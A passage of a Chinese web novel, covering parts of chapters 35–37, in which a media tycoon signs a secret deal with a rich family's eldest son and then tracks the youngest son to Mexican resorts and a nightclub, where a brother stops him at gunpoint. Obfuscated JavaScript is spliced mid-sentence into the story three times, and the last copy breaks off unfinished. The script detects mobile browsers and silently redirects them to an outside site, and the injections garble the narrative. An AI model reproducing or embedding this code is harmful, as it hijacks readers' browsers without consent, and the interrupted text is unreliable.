“因为时兄一表人才,很有领导风范。” “我要听真话。” “手串的事,时兄不也没对我讲真话么?” “你别叫我‘时兄’了行不行,我听着别扭。” 何闽轩淡淡一笑,说:“这么僵下去不是办法,对于这次事故,我很抱歉,老三年纪也不小了,他惹了事,本就该他自己承担,我其实不介意把他在哪儿告诉你,但我也有一个条件。” 戚时一挑眉:“你说。” 何闽轩似乎早有准备,他站起身,走到在厅内西角落的保险柜前蹲下,拿出一份牛皮纸密封文件,过来递给戚时。 戚时看到文件封条白底黑字,狷狂毛笔字写着“燕京擎荣集团戚时总裁亲启”。 他讶然抬头:“给我的?” “家父写的,”何闽轩笑,“本来是要写给令兄,但令兄近两年似乎不太管事了,加上你我年龄相仿,家父觉得,让我找你联系更好说话些。” 戚时撕开封条,一边拆着文件,抬眼问他:“所以,把何老三扔过来燕京试探我,也是你和你‘家父’设计的一环?” 何闽轩坦然:“是也不是,但时兄,你比我想象中要透彻。” 戚时冷哼一声:“我又不傻,没点利用价值,哪儿能攀上你们何家的高枝儿呢。” 戚时猜,对于何家这种半隐退式的、不太爱冒风头又势力庞大的家族,接下来肯定要有大动作,才会将目标锁定他和擎荣集团。 他戚老二接的业务很广泛,并非养几个明星混娱乐圈或者做动画动漫这么简单,在当世纪,社会舆论风向主要受网络信息传播的影响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409044|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不止何家,其他合作公司也会找他签订秘密合同,以求在短时间、大范围内迅速营造出有利于他们公司发展的浩大声势。 对于内容发布者来说,信息是可以失真的、被扭曲的,爆炸性新闻可以是无中生有的,真正揭露社会弊病的帖子是能够在一夜之间就全部销声匿迹的,而他戚时,就是整个舆论导向的幕后操控者。 初踏入这个行业时,戚时还有些天真,每天哼着歌开着豪车来上班,美滋滋往办公室一坐,闲着没事儿了,还会举哑铃练俯卧撑,他轻飘飘一句话,集团数十万人都得听他的,他的一个指令,就能让无数笔杆子照着他的意思通宵奋战,他自认大权在握,凭一己之力就可以整顿全娱媒行业。 他还认为,他将是一束开天辟地的光,只要他带头不接纳污浊,污浊就不会流入市场,整个舆论生态就会形成绿色的良性循环。 他曾经是多么一个阳光开朗又愚蠢至极的男孩儿。 很快,竞争对手接二连三给他的教训和打压令他迅速清醒过来:这个世界有阳光普照的地方,就一定会有阴影笼罩的地方,有清澈纯净的地方,就一定有藏污纳垢的地方,他不是领导者,更不是什么狗屁的光,他只是时代洪流中的一粒沙,他引领不了任何趋势,是历史的周期性、是滔天的怒浪在推着他往前走。 他要么淹死,要么不择手段。 年纪轻轻就身居高位,他莫名地站在了风口浪尖上,一句话说错了,数十万人的饭碗就没了,他必须要不断忍受别人往他身体里塞进的骂名和污垢,才能保证自己在阳光之下的体面。 他进了这个行业,这个行业跟“娱”字沾边,而八卦是人的天性,庸碌之辈最喜喧嚣,太多人不分是非,太多人随波逐流,他站在世人摇摆不定的善恶之间牟取暴利。 就像他哥说的,他真的就是在坐享其成,他没资格抱怨什么。 戚时一页页翻看合同,内容令他有些诧异,还有那封何老爷子写给他的两页手写信件,通篇“戚小友”,哼,素不相识的老头子,叫得他还挺亲,但没提半句何老三,字里行间都是对何闽轩的殷切关怀,净是些“冲龄流亡在外”、“犬子不易”、“望你二人携手”之类的话。 二十分钟后,他读完所有内容,意识到这是一份完全利于何老大的文件。 干燥的指腹摩挲着光滑的纸页,他思量片刻,抬头问:“何老三知道这事儿么?” 何闽轩诚实道:“不知道。” “那何老二呢?” “不知道。” “那何太太也不知道了?” “是的。” 戚时一笑:“我说呢,一个个都赶到国外去了,留在家里的净是些没成年的小孩儿,你父亲都已经为你做到这种程度了,你还怕什么?” 何闽轩浅浅一笑:“你大概不会懂,你是个从小就有倚仗的人,可对我来说,我只做稳操胜券的事。” 戚时点点头,钱倒是小事,他多少理解何老大的难处,于是没怎么犹豫就拿笔签了。 随口问着:“你忌惮老二我理解,何湛程那小子没权没势的,你怕他个鸟?” 何闽轩揉着眉心:“他为非作歹的本事想必你也领教过了,我觉得不用我多说了。” 戚时写完搁下笔,不太赞同地抬头:“他早晚要知道。” 何闽轩淡淡地说:“你愿意的话,你可以去告诉他。” 戚时不可思议地手指了下自己,问:“我?我算老几?” 何闽轩微笑:“你是最适合告诉他的人。” 戚时满头粗线问号:“为啥?” 何闽轩:“因为他最近还算乖,我不想他再恨我。” 戚时:“……” 他们哥几个搞兄弟情深,然后就这么不负责任的把屎盆子往他戚老二身上扣是吧? 文件一式两份,戚时都扔给何老大了,说等他回京了再派律师来取走,双手拢了下风衣,起身就要走。 “好,”何闽轩也起身送客,“希望我们以后常来往。” 戚时拉开门,扭头看他:“现在可以说了吧,你们家老三搁哪儿逍遥呢?” 何闽轩笑:“墨西哥。” “墨西哥的哪儿?” “老二在墨西哥附近买了座岛,正在监工建度假村,那地方离坎昆很近,你可以去找找,当然我不保证他们一定在那儿,这两个小子都太爱玩儿了。” “行,我知道了。”戚时气势汹汹就往外走。 “诶,那个——!” 戚时回过头,挑眉:“咋?” 何闽轩不太放心道:“请你有点儿分寸。” 戚时大手一挥,安抚道:“放心,我一定会把他当亲弟弟疼的!” 嗯,疼得人死去活来的那种疼。 36. 第36章 北纬21.1619°,西经86.8515°。 墨西哥尤卡坦半岛东北端,金塔纳罗奥州,坎昆沿岸。 白色的沙滩,微风吹拂,椰子树与加勒比银棕榈的叶子摇摆不停,午后阳光灿烂,粼粼波光浮动在清透的蒂芙尼蓝水面,一个身姿修长、通体白皙的亚洲面孔,戴着墨镜,上身竖橘纹短衫敞着怀,下身碎花沙滩大裤衩,正懒洋洋躺在桨板上,任自己在一望无际的海域里惬意地漂浮。 忽地,由远及近,一阵轰隆隆的摩托艇响渐渐迫近,车尾一路飙飞起数丈水花,毫不减速、显然目标明确地朝这边袭来! 桨板上的人被这聒噪声音吵得不耐烦,腾地一下坐起,刚抬手摘掉墨镜,还没发飙,对方就先驾着那辆体型庞大的漆黑摩托艇浇他一身水。 无缘无故,飞来横灾,他整个人湿成落汤鸡。 “Surprise!!凉不凉快?”对方情绪激昂亢奋地骑着摩托艇绕着他转圈,笑喊道:“给你的日光浴加点盐!不用谢!” 何湛程恨恨一抹脸,仰头瞪着眼前这个全身裸到就剩个四角泳裤的肌肉猛男: “何棣坤!你他妈有病吧!” 真是晦气,在国内受他大哥欺负,在国外还要受他二哥的折腾,早知道这样,他还不如去瑞士找他妈呢!他妈撑死也就念叨他两句,能比何棣坤这个闲得蛋疼的神经病隔三差五就恶作剧他来的受罪? 何棣坤笑嘻嘻凑过来:“干嘛啊你,真生气了?我再不来找你,你都要漂到外海去了,等晚上吃饭找不着人,我还得再派直升机捞你去,多麻烦!” 何湛程一怔,环顾四望,四周皆是无边无际的海水,方圆数里看不见半个游客,浆板底下的海水颜色渐渐从蒂芙尼蓝化为深翡翠色,再远处,是怒浪滔滔、深邃不见底的加勒比海洋。 他冷哼一声,甩了甩湿淋淋的墨镜,戴到头顶,冲人喊:“我自己不会游泳?用得着你救?你是救我来了,还是淹死我来了?” 何棣坤挑眉:“我还没问你呢,你这几天都想什么呢,心不在焉的,带你去哪儿玩儿都那么扫兴,怎么,你最近被老大带的,脾气又开始随老大了?” “你管得着么,”何湛程烦躁躁的,向人伸出手,“过来拉我!” 何棣坤“诶哟”一声,偏不拉他,忽地一闪,骑着摩托艇跑远了,笑哈哈冲他喊:“你求我啊!你求我,我就拉你!” 何湛程气得一笑,骂了句“去你妈的”,摘下墨镜扔浆板上,两三下脱了短衫,纵身一跃,跳进海里了。 “我艹!” 何棣坤吓了一跳,忙奔过来救人,但见人身姿笔挺,动作那么帅气地划着水,完全是标准自由泳姿,他突然又意识到他家老三貌似是游泳健将来着。 何棣坤笑眼一弯,优哉游哉地驾驶着摩托艇,故意绕在游泳健将身边,左边飞一圈,右边又飞一圈,和人唠嗑:“诶,老三,咱俩比比谁的水花大,怎么样?” 游泳健将百忙之中回他一句:“滚!” 何棣坤探头问:“诶对了,你这不都从燕京回来了吗,老大咋还没给你把卡解冻啊?” 游泳健将冷哼一声,又回一句:“滚!” 说起这个他就来气,他好容易从燕京回一趟家,找他大哥软磨硬泡了大半天,他大哥那个态度就跟茅坑里的石头一样,又臭又硬,死活不松嘴,非让他亲自找戚老二道歉了才肯解冻,还说什么做人要懂得承担责任,巴拉巴拉的,烦死了! 他是想死了才会主动再找戚老二。 他大哥分明就是故意整他! 不然,他能大老远跑来墨西哥找何老二负责他的吃喝拉撒? 老二答应他大哥不能给他钱花,但吃喝住行上倒是没亏着他,可总这样下去也不是办法。 何湛程一边游,一边思考,连老二都手握好几个项目,还即将在海外经营度假村,他也得赶紧想法子赚钱养活自己才行,如果他要一辈子像现在这样,天天靠人脸色吃饭,那不得憋屈死? “诶,”旁边人又好奇问他,“怪不得你这几天都不下水,你后背那么多抓痕哪来的?啧,瞧瞧,这一道子一道子的,血都抓出来了,我哪个弟妹这么狠,给你挠成这样啊?” “老二,”何湛程瞥他一眼,“我现在就给你两个选择,一,闭嘴滚蛋;二,闭嘴,然后把我拉上去。” 何棣坤颇为识相地伸出手臂,把人给拉后车座上去了,然后挥臂一抽,甩给何湛程一条干毛巾。 何湛程接过毛巾擦了把脸,纳闷问:“你裸奔来的,哪来的毛巾?” 何棣坤嘻嘻笑:“垫屁股坐的,不然太咯蛋,刚放了个屁来着,你闻闻香不香?” 何湛程“哦”了声,认真将毛巾一叠,低头往上面吐了十多口唾沫,动作飞快地捂住了前边人的嘴。 “你也闻闻,香不香。” 何棣坤嫌弃的不行,挣扎两下没能挣脱,于是两手攥紧车把,身子猛地一斜,歪着摩托艇贴着水面一路狂飚,轰隆隆噪音震耳欲聋,激起无数水花,意图将身后人再度扔进海里。 何湛程险些重心不稳,立刻扔掉毛巾,两手一抓,死命往上一提他二哥胯间的薄薄一层速干泳裤,仰头大喊:“冲啊——!!!” 何棣坤:“……” 不出一分钟,水面重归风平浪静,哥俩开启和平谈话: “老三,手下留情,哥往后征战四方不能没有这两颗蛋。” “求我。” “求你。” “叫我啥?” “我亲爱的宇宙无敌可爱善良的天使般的弟弟。” “不对,还差俩。” “帅气的、倜傥的。” 何湛程满意了,啪的松开双手,贴肤的泳裤在身前半裸男挺翘的后臀上弹了一下。 不知怎么,何湛程突然有点伤心。 “二哥。”他忽然说。 何棣坤愣了一下,猛地刹车,扭头问:“咋啦?” 他们家老三从小就调皮捣蛋,性子也傲,从八岁起就没再喊过他二哥了,毕竟是一母同胞,老三忽然来这一声,喊得他居然有点小感动。 何棣坤语气不自觉慈爱几分,问:“怎么了,心情不好?二哥再带你玩儿点别的?” 何湛程抬头,神情真挚地问:“哥,你在外面做过零吗?第一次的时候,是更疼一点,还是更爽一点?” 何棣坤:“……” 忽地举手探头,认真环顾一圈四周。 嗯,水浅,快靠岸了。 冷不丁一抬脚,想也不想就给何老三踹海里去了。 “艹!” 水上、水下,二人不约而同冲对方一声骂。 晚饭还是要一起吃的。 傍晚时分,华灯初上,沿岸鳞次栉比的度假酒店进出着来自世界各地的游客。 长街尽头,私人海景别墅大露台,白墙蓝瓦,纱幔飘飘,椰影婆娑,远天金粉霞光渐被暗沉暮色遮掩,近处海岸荡着清水波浪,不断冲刷着海滩细白的沙。 哥俩坐在露台餐桌上,默契举起酒杯相碰,刀叉切割着餐盘里的牛肋排和野生龙尾虾,不时进行几句交谈。 “我敢打赌,”何棣坤大口嚼着肉,“你在燕京一定有艳遇!” “我也敢打赌,”何湛程头也不抬,埋脸进食,“你是失恋了才跑来这边搞工程,还故意把自个儿晒得跟条泥鳅似的,咋,把你那一身腱子肉晒黑了,就显得你更男人了?” “你懂个屁,这叫美黑!” 何棣坤一脸骄傲地举起胳膊,向何湛程炫耀着他饱满结实的肱二头肌,说:“现在欧美这边就流行小麦肤,我这是紧跟时尚潮流。” “呵!把自己搞得乱七八糟的,也没见你把人留住啊。” “你不也是么?你那个高材生小帅哥呢,没带出来一起玩儿?” “你管得还挺宽,人家上学呢。” “哦,那你啥时候回去上学?” “高兴了就去上。” “去燕京?” “不,回纽约。” “我以为你喜欢燕京。” “你找抽呢?” 何棣坤一笑,伸手揉了揉他脑袋,说:“行了,天涯何处无芳草,这个难操咱就换个人操,晚会儿我叫点儿人来热闹热闹,还有咱家在加州念书的那几个小兔崽子,他们知道你来墨西哥了,都吵着闹着要飞来这边找你玩儿呢,你高兴点儿,嗯?” 何湛程食不知味地咀嚼着:“知道了。” 凌晨三点半,星空寂静,何棣坤海景别墅二楼炸起震天响的摇滚乐。 据那几位从加州伯克利飞来的、何家旁支的小辈子弟称,这是他们倾情献给三哥的自编曲目,叫《Fuck You Baby》,汲取重金属、朋克、垃圾摇滚等多流派艺术形式,兼具迷幻与狂野摇滚风,堪称匠心巨作! 然后他们就接到住在同街大老远的酒店旅客连续三次的报警投诉,一腔燃烧着熊熊之火意图炫耀的小心思被毫无艺术情操的旅客泼了好几盆冷水,凌晨四点才被迫消停下来。 “得,”何湛程经过他们五个人,毫不客气一人弹一个大脑崩,“我也给你们几个编个曲,回敬你、你、你、还有你俩音都爬不准的天才!” 天才一号笑嘻嘻的:“三哥你不能怪我们,我俩还是新手呢!” 天才二号也哼道:“就是,我俩平时学习那么忙,哪能跟你这个大闲人似的有空天天练。” 何湛程“诶哟”一声,一把搂住人脖子,勒得人死紧:“你哪只眼看着我天天摸吉他贝斯了?” 二号挣扎着,抬下巴冲整个party一绕:“二哥家里摆这么多好东西,不是给你玩儿的?” 何棣坤正搁沙发上左拥右抱,跟两个金发碧眼的性感女郎在调情,猝不及防被点名,扭过头往这边瞧,嘴里还叼着个威士忌酒杯,口齿不清道:“还真没,我自己弄来玩儿的,他天天睡大觉来着。” 天才一号“嘶”了一声,扭头问何湛程:“三哥你咋啦,病了?” 天才二号也“嘶”一声,意识到重大问题:“对哦,三哥你一整晚都没带个伴儿,好奇怪啊!” 何湛程冷哼一声,挥臂将他们都推开,一屁股坐在角落的钢琴凳上。 手指漫不经心地调着音,头也不回道:“哥这首《再见,摩天轮》,今晚就献给你们这群满脑子音乐细菌的傻叉了,不用谢。” 天才一号笑起来:“哥,你不对劲,怎么偷偷背着我们几个换风格了?” 天才二号及时补刀:“对啊,你这名字听起来像失恋的中二病才会弹的口水歌。” 何湛程双手放琴键上,闭眼,微笑:“都给我闭嘴。” 偌大室内,六十多个俊男靓女,共舞的、说笑的、喝酒的、调情的、接吻的……都安静了。 似乎是这场盛大party的谢幕,氛围灯的光影缓缓流转,转过堆满红金黑绿各色酒瓶的玻璃酒台、转过墨西哥男人魁梧臂膀上的玛雅图腾刺青、转过金发佳人露背的晚礼服,转过成群坐在吧台的半裸青年淡绿色的深瞳、转过依偎在别墅主人怀里女郎的比基尼肩带、转过摇滚少年手中的架子鼓槌…… 转过—— 身姿笔挺地端坐在房间角落里沉浸式奏乐的人。 薄薄的月光透过纱幔,拂过他安详宁静的脸庞,梳理着他乌黑的发丝,瀑布般,从他宽而薄的肩膀倾泻而下,将他藏在暗影下的修长背影染得清澈透亮。 手指是苍白的、忘我的、乱中有序的,无声倾注到冰冷的黑白键里,弹奏出的乐章仿佛就有了温度,像跌倒,像叩问,像一颗傲慢的心,时而如针细腻,欲语还休;时而裹挟雷电,怒意滔滔;时而情真意切,似乎在黯然神伤;时而又冷漠决绝,刻薄到骨子里的气韵瘆得人如坐针毡…… 天才一号评价说,三哥这首曲子像天气预报,阴晴风雷雨雪霜,风格多变,叫人捉摸不透他究竟是以何种心情弹奏的,难评,更难猜; 天才二号说不对,三哥这曲子其实特别好猜,因为他一会儿高兴,一会儿又不高兴,一会儿甜蜜的像在谈恋爱,一会儿又恨不得要杀人,就像个喜怒无常的神经病,完全就是三哥的做派! 没料这话进到三哥耳朵里,那人忽地站起身,嘴角噙着笑意,踱步朝他俩走过来。 俩天才以为他们又要挨打,齐刷刷埋头缩成鸵鸟,没料三哥抬起手,分别大力地拍了拍他俩的肩膀。 俩天才瞬间就顿悟了。 虽然三哥一句话没说,但这显然是表扬他们的意思。 能得到三哥这种全能型玩咖的赞赏,二人不禁沾沾自喜起来,冲三哥嘿嘿笑了两声。 三哥也冲他们嘿嘿笑两声,好哥俩似的,姿势亲昵地搂着他俩,和蔼地问:“你俩有零花钱没?打我个十万八万的,我卡被冻结了。” 俩天才:“……” 对方自顾自掏出手机,打了个响指:“哦对了,给我按美金算。” 俩天才好容易翘课跑出来玩一趟,莫名其妙就被人给宰了一顿,次日上午临走前还嘟嘟囔囔地抱怨,说下次他们要带一堆同学来找三哥玩儿,三哥得包他们所有人的吃喝玩乐才行。 “没问题!” 刚抢劫成功二十万美金的三哥心情愉悦,一身骚红短衫配大绿裤衩,笑容灿烂地站在机场,冲他们招手告别:“拜拜!” 正午日上三竿,闹腾了整夜的何家哥俩窝在别墅空调房里补觉。 何棣坤住二楼主卧,何湛程住三楼客房,俩人少碰面就少干架,互不打扰各自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409045|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安好,快傍晚时分,何湛程睡眼惺忪,人还没全醒,床上就爬过来两个扒他裤子的比基尼女人。 一看就知道是谁的手笔。 何湛程稍微犹豫了下,一反常态,挥手把她们赶走了。 十分钟后,何棣坤敲响他房门,关切地询问他是不是年纪轻轻就萎了。 何湛程埋头缩在被窝里,不客气吼人一句滚。 门外人笑嘻嘻: “咋,岁数到了,你小老二开始认主了?” “去你妈的!” “我妈就是你妈,你问候你妈,不孝子!” “滚啊,别烦我。” “走啊!走啊!”何棣坤开始噼里啪啦地敲门,“大好的青春!睡饱了咱们接着出去玩啊!好容易你来一趟,别扫我兴啊!” “不去!”何湛程烦的不行,“不是沙子就是水,没什么好看的,腻了!” “不在坎昆了,”何棣坤喊,“我叫人备了车,再飞俩小时飞机,咱俩去墨西哥城蹦迪去,哥给你整俩男模,快起来!” 何湛程这才算找回点儿精气神。 懒洋洋地打了个哈欠,挠着鸡窝头去给人开门。 “要浓眉大眼八块腹肌腿长屁股翘的,比我高也行,不要矮子不要小白脸,不准啃我嘴。”他说。 “行啊!”何棣坤笑哈哈一把揽住何湛程肩膀,搂着人下楼:“这才对嘛!就为了个萍水相逢的路人,把自己搞得魂儿都没了,至于么!” 何湛程翘了下嘴角。 他也觉得自己实在不像话。 一把挽上对方手臂,扭头冲人笑:“二哥,谢谢你啊。” 何棣坤哼笑一声,大力揉了两把他头:“你小子最好是真心的。” 何湛程甜甜地卖乖:“当然了,我以后都叫你二哥了,好不好?” “行啊!” “二哥!” “诶!” “二哥!” “诶!” “二哥!” “你逗狗呢?” 夕阳西下,落日熔金。 沿海岸微风吹拂,咸湿的空气混杂着棕榈树与椰子的清香,一辆加长版敞篷超跑犹如一道黑色闪电,满载宾客,风驰电掣乘一路绮丽霞光,向西南方向进发。 “Fuck love!!” 浓密的头发在疾风中凌乱,两个混世魔王脚踩在真皮车座上,抱着单瓶价为两千美元的Salon沙龙香槟互喷,逆风大笑,纵声狂喊。 “Fuck love!!”众人欢腾举杯,放肆陶醉在这激情无限的金色傍晚。 凌晨两点半,烟雾迷幻,灯红酒绿。 夜店人头攒动,令人上瘾的重金属摇滚震耳欲聋。 激光四射,舞池沸腾,台上DJ纵情呐喊,底下尖叫声不断,动感强劲的乐声笼罩着整座废旧工业风的地下酒吧,调酒师笑着在吧台递出今晚第无数杯烈焰龙舌兰,不经意,擦肩而过一位深棕鬈发的哥伦比亚美人,头戴红牛帽的大力士疯狂摇晃着信仰的旗帜,打扮潮流怪异的青年,男男女女喝得烂醉,谁也辨不清谁,疯疯癫癫,抱在一起甩头摆尾地摇。 何湛程也沉沦其中,摇头晃脑地哼歌跳舞。 他今晚新做了锡纸烫,外套是件挂着两条银色锁链的机车皮衣,里面裸着,脖颈戴一圈古巴项链,呼吸间,硬挺的胸肌与腹肌起伏,后背流畅的线条延展至劲瘦侧腰,露出几条血红色的、结痂的抓痕。 他低着头,嘴里叼着根电子烟,左拥右抱着两个腿长臀翘的混血男人,挤在人群里,沾着伏特加酒液的鲜红唇角流溢出浓密的烟雾,他闭着眼,贪恋地嗅着,忘我般随人群晃动着。 怀里两个新宠,揽在左臂弯间的,眼珠幽蓝,薄唇粉红,笑起来十分俏皮性感,是近几年跻身好莱坞的新生代演员;右手搂着人腰肢的,鹰鼻深目,俊美无俦,是中东与拉美的混血模特。 他搂着他们,他们也亲昵地拥着他,奔放又热情,几次贴过来想吻他,被他避过了。 “东方人都像你这么保守吗?”蓝眼睛一眨一眨的,清脆的英文像连串蹦出的珍珠,好奇问他:“但是你哥哥看起来并不是这样。” 何湛程轻笑,缓缓抬起下巴,冲蓝眼睛的脸上轻喷出一口薄烟,那是让他闭嘴的意思。 于是蓝眼睛很懂事的不再问起。 何湛程侧头,余光一瞥,人群对面,何老二正忘情地拥着那位深棕鬈发的拉丁美人,和她缠绵热吻。 真好。 他想。 真洒脱。 可两条陌生的舌头湿淋淋地缠在一起,不恶心么? 一想到某个和无数人接过无数次吻的人,自己也同他接过无数次的吻,何湛程就觉得恶心。 他倒没什么处女情结,只是分手后回想起来,很厌恶自己当初的不谨慎。 色令智昏了,他想。 然后就是新一轮的摇滚串烧、烟雾升腾的热舞摇摆。 台上打碟的DJ是墨西哥城小有名气的乐队男歌手,三十来岁,活力四射,他摘下话筒喊麦,打手势与台下互动,他喊一句,底下人喊一句,夜店氛围很快就被他再度炒热起来。 挺好玩的。 何湛程懒洋洋地仰起头,正准备也朝上面来一嗓子,刚拿下电子烟,还没张口,一只冰凉发汗的粗糙大手从不知名处冒出,果断狠厉,猛地扼住他后颈,一点点收紧,几乎将他颈骨攥碎。 “艹……”啪的一声,电子烟掉落在地,转眼就被熙攘人群凌乱的舞步踩烂,何湛程瞳孔倏地缩小,视野中晃动拥挤的人群逐渐模糊起来。 他在一刹间失声。 带来的俩男模还在原地傻啦吧唧地摇呢,对他濒死的状况毫无察觉,何湛程又慌又懵,他想不明白像自己这种清纯无辜的美少男怎么会在夜店这种天堂级别的美好地方被恐怖分子盯上了,他又不是在竞选美国总统?! 下意识去人群中搜寻何老二的身影,没料身后人忽地松开他后颈,宽大手掌绕到他眼前,覆盖住他下半张脸,倏地一使劲,死死捂住了他的嘴。 另一只肌肉虬结的手臂缠住他腰,霸道地将他禁锢在怀里,却似乎还不满足,忽如大山倾倒,将整个身体重重地压上了他的双肩,把他从头到脚、身前与身后,彻彻底底地包裹起来。 后背猝不及防撞进一个饱满结实的胸膛,鼻尖萦绕着那人身上散发出的淡淡松木清香,何湛程不禁一怔。 这熟悉到骨子里的……令人又爱又恨的气息。 不及他扭头确认,男人温热的嘴唇便轻轻落下,格外暧昧地蹭在他耳边,恶笑低语: “穿的啥啊程儿,没羞没臊的,怎么不连裤子也都脱了啊?这么久了,也不知道给二哥来个电话,我都要想死你了。” 37. 第37章 在作为遥远国度的墨西哥遇见戚老二,不亚于在现代文明社会偶遇一条从侏罗纪公园里跑出来的恐龙。 何湛程一刹间从脚底板激灵到大脑皮层,锡纸烫都吓成了爆炸头。 并且双目呆滞,恍恍惚惚,不敢回头,更丧失语言能力。 戚时心满意足地笑了。 俯身凑在早已吓傻的某人喷香的脸蛋上狠狠咬了一口,牙齿没轻没重地胡嚼一通,又埋头在人脖颈里猛吸两口气。 无法不去迷恋,这比尼古丁还令他上瘾的香味。 然后唰地抬手,把这个到处鬼混的兔崽子的皮衣拉链从底拉到最顶头,将人捂得严严实实。 “你大哥说了,从现在开始,你就是我的了,跟我回国。” 想了想,又说:“不,跟我回燕京。” “你不是喜欢刷马桶么?”戚时揪揪他耳朵,笑容可掬:“我要封你做我的奴隶,以后你就天天在家给我刷马桶好了。” 何湛程:“……” 戚时意得志满地搂着何湛程挤出乱哄哄的舞池,大步昂扬往门口走。 仇敌见面,本该分外眼红,戚时这死变态却又亲又摸的占他便宜,何湛程僵硬的肢体逐渐解冻,立刻挣扎叫喊起来。 “绑架啊!绑架!” “二哥你快来救我!” “Help!iSocorro!iSocorro!” “何老二!!艹!何老二你死哪儿去了!你亲弟弟要被绑架犯掳走了!!!” 毫无作用的求救声,像小石子投入大海,上一秒脱口而出,下一秒就被淹没在高潮不断的音浪里。 “喊谁呢?”戚时将他摁得死死的:“这里只有一个‘二哥’,那就是我。何老三,我说过我不会放过你的吧?” “放开我!”何湛程扭头瞪他:“你这是绑架!” “哦,是么?”戚时挑衅地笑:“那你报警抓我啊。” “戚时!”何湛程愤声喊:“我们已经结束了!你有点儿眼力见儿行不行!我那晚是对你有点过分了,但那又怎么样?难道不是你先拿东西砸我骂我的吗?!我们一来一往,两不相欠,你为什么还要揪着我不放!” “不,”戚时眼神瞬间冷下来,“你那部分结束了,我这一部分还没有。” “我管你有还是没有!”何湛程呸他一口:“我新交的两个男朋友比你帅多了,你当我还像从前那样稀罕你呢?还不快撒手!!” 戚时愠怒,脸色铁青,拽人的动作粗暴起来,又一次毫不怜惜地掐住何湛程的脖子,另一手大力揪住人领口,连拽带踹,赶牲口一般,将人往夜店出口带。 何湛程疼得大脑窒息,嗓子挤不出半点声音,他像条濒死的鱼,不断挣扎扑腾着,心里暗恨戚时缺德没良心,早知道狗男人胆敢这么对待他,他那晚就该下手更重才对! 戚时绕过吧台,阴沉着脸,瞪退两个试图帮忙的红胡子壮汉,才抬腿踏上一阶楼梯,猝不及防,太阳穴忽然被人抵上某种冰冷的金属制物品。 戚时霎间僵在原地。 是一把枪。 从小到大生活在和平国家,他这个身份未曾接触过枪火军械,暴乱与动荡离他的世界如此遥远,而今只身远赴异国,一心只为把人带回,根本没考虑什么安全隐患,当下遇到这种事,第一反应是新奇刺激,第二就觉得自己真他妈的点背。 正要悄悄把兔崽子往怀里揽,好歹能活一个是一个,就听持枪戳在他脑袋上的男人开口: “放开他。” 不是威胁,是居高临下式的吩咐,是根本没考虑他回答“不”的可能。 是和某位无论走到哪儿,都把周遭人当仆从一样使唤的、如出一辙的口气。 戚时立刻松了手,偏过脸,神情复杂地看一眼何湛程—— 不,看一眼这位从小住在三百八十六亩私家庄园的大少爷,身边有这么多人护着他、骄纵他,他不纨绔谁纨绔? 何湛程捂着脖子猛呛几声,看都不看他一眼,迈着大长腿就越过他去,站到持枪男人的身边。 “二哥,赶紧把这傻逼男的赶走。” 戚时哭笑不得。 好好好,原来这才是人家货真价实的二哥,他戚老二又算什么东西? 人家何三少逢场作戏随口称呼他一声,他还真就自作多情上了? 实在可笑。 抬头看那位二哥,一双精眸锐利,满身悍然匪气,典型男人中的男人,却穿着件极艳丽的紫红色液态金属面料的薄衬衫,衣扣全解敞着怀,下腰紧身裤撑得腿长臀翘,俨然又是一位风流的花花公子。 听何老大说,老二何棣坤常驻墨西哥,为人喜怒不定,但格外机敏干练,想必此人没少处理过突发情况,才会在连寻欢作乐时都随身携带枪支。 何棣坤收起他那把格|洛克G18C,别在腰间,眸子一凛,眼尖地注意戚时戴在右腕的沉香珠。 他立刻扭头瞅何湛程,还没发出疑问,何湛程倒先咋咋呼呼地晃他胳膊,使唤着:“老二,你快!快去把我珠子抢回来!” 何棣坤若有所思,探究的视线在戚时与何湛程二人脸上逡巡着,好奇问:“你珠子怎么在他那儿?” 不待人解释,蹭地转头又问戚时:“你是?” 这串沉香珠是不是何湛程的护身符,戚时不确定,但很明显,这是一块他捍卫自己地位的敲门金砖。 风衣一甩,下巴抬起,摆出一副长辈风范,客套地向何棣坤讲明身份,还特地提了一句“你们大哥让我来找他”。 何湛程气得扭头掏手机跑去一边给何闽轩打电话。 该死的老大,居然敢卖他! 这边,何棣坤恍然大悟,方才还凶神恶煞的脸登时绽出一朵俊艳的花,胳膊一抬,亲切地搭住戚时的肩膀,好奇问:“那我是该叫你时兄,还是该叫你弟夫?” 戚时一听“时兄”这两个字就应激,想也不想:“别叫我时兄。” 何棣坤丝滑张口:“好的,弟夫。” 戚时轻咳一声:“也别叫我弟夫,我跟他不是那种关系。” 何棣坤挑眉:“怎么,你不是燕京来的?” 戚时莫名其妙:“是啊。” 何棣坤又问:“我们家老三的护身符,没戴在你手上?” 戚时点点头:“戴了。” 何棣坤一拍大腿:“那还有什么好说的,就是你了!” 戚时云里雾里:“什么就是我?” 何棣坤着急道:“弟夫啊!” 戚时:“………………” 何棣坤今年二十四,比他小整整三岁,被人一顿胡说八道讨口头便宜,他听起来居然还……挺顺耳的。 戚时不再抗议这个称呼,于是问:“那我叫你什么?” 何棣坤大手一挥,大言不惭:“按照我们老何家的规矩,你该随老三叫我一声‘二哥’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 